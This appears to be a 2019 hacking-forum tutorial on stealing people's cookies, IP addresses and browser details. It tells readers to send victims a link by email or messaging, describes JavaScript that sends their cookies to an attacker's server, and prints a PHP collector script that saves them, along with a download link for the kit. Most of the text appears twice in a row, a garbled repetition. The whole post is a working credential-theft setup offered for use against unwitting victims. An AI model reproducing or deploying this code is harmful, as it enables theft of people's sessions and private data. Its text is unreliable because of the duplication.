How to Steal Someone's Cookies (and more) 02-02-2019, 05:09 PM
#1
Introduction
So you want to steal someone's browser info? Cookies? IP? It's super easy and all you have to do is get the user to visit a webpage or click on a link. Also, this tutorial was created on-the-fly, so if I missed something just let me know and I'll add it. Don't get super excited about this, it's been around a very long time, since 1999?. Even if you steal someone's Facebook or gmail cookie, you won't be able to just log into their account. Cookies are mostly used for ad tracking or simple settings. If you want to argue about it, think about it like this. Facebook is the most secure social website in the world and you think they didn't think about cookie theft? But some websites are still insecure enough to let it happen, you might get lucky.
The Link
I will be coding this in PHP but you can use whatever web tech you want. So there are two things you need, a web host, and the web host needs PHP enabled. For Windows users you can do this pretty easily with wamp. Note, that when you use your own computer you risk revealing your IP to the victim. How do you get it to the user? Email it to them, message them on facebook, send it to them in a text message. Anywhere you can click a link, is a possible opportunity for you.
The Code
This is the easiest part. If you don't know how to code, this is probably the hard part. I can assure you that you will find it easier to code this or host this script than it is to get someone to click a suspicious looking link.
![[Image: LzfSeQb.png]](https://i.imgur.com/LzfSeQb.png)
In the image above you can see that we can get some of the browser's information such as the user agent and ip address. The first thing we will want to harvest is information in the $_SERVER global variable. This is part of the cookey.php file. This is what logs the information we steal, not the cookies themselves.
The next thing you want is the cookies. You can access the cookies through javascript. This is where the theft happens, we are going to steal the cookies and send them to our stealer.
![[Image: V3WCroA.png]](https://i.imgur.com/V3WCroA.png)
In the image above is the all the code needed to steal the cookies and send them to our script. This file is called whatever_you_want.html. This file redirects the user and their cookies to the cookey.php file. My cookey.php file is where the cookies are getting sent, and this is also how it's saved. There are a few ways to save the cookies. You can send them to an email, save them in a database, or even save them to flat files (ascii files, like .txt).
Writing the Files
cookey.php
Download: https://anonfile.com/q2U88fs8b8/cookey_zip
So you want to steal someone's browser info? Cookies? IP? It's super easy and all you have to do is get the user to visit a webpage or click on a link. Also, this tutorial was created on-the-fly, so if I missed something just let me know and I'll add it. Don't get super excited about this, it's been around a very long time, since 1999?. Even if you steal someone's Facebook or gmail cookie, you won't be able to just log into their account. Cookies are mostly used for ad tracking or simple settings. If you want to argue about it, think about it like this. Facebook is the most secure social website in the world and you think they didn't think about cookie theft? But some websites are still insecure enough to let it happen, you might get lucky.
The Link
I will be coding this in PHP but you can use whatever web tech you want. So there are two things you need, a web host, and the web host needs PHP enabled. For Windows users you can do this pretty easily with wamp. Note, that when you use your own computer you risk revealing your IP to the victim. How do you get it to the user? Email it to them, message them on facebook, send it to them in a text message. Anywhere you can click a link, is a possible opportunity for you.
The Code
This is the easiest part. If you don't know how to code, this is probably the hard part. I can assure you that you will find it easier to code this or host this script than it is to get someone to click a suspicious looking link.
![[Image: LzfSeQb.png]](https://i.imgur.com/LzfSeQb.png)
In the image above you can see that we can get some of the browser's information such as the user agent and ip address. The first thing we will want to harvest is information in the $_SERVER global variable. This is part of the cookey.php file. This is what logs the information we steal, not the cookies themselves.
The next thing you want is the cookies. You can access the cookies through javascript. This is where the theft happens, we are going to steal the cookies and send them to our stealer.
![[Image: V3WCroA.png]](https://i.imgur.com/V3WCroA.png)
In the image above is the all the code needed to steal the cookies and send them to our script. This file is called whatever_you_want.html. This file redirects the user and their cookies to the cookey.php file. My cookey.php file is where the cookies are getting sent, and this is also how it's saved. There are a few ways to save the cookies. You can send them to an email, save them in a database, or even save them to flat files (ascii files, like .txt).
Writing the Files
cookey.php
Code:
<?php
@$cookie = $_GET['cookies'];
fwrite(fopen("cookies","w+"), $cookie);
?>Download: https://anonfile.com/q2U88fs8b8/cookey_zip
(This post was last modified: 02-02-2019, 09:23 PM by sunjester.)


![[+]](https://sinister.ly/images/modern/collapse_collapsed.png)
















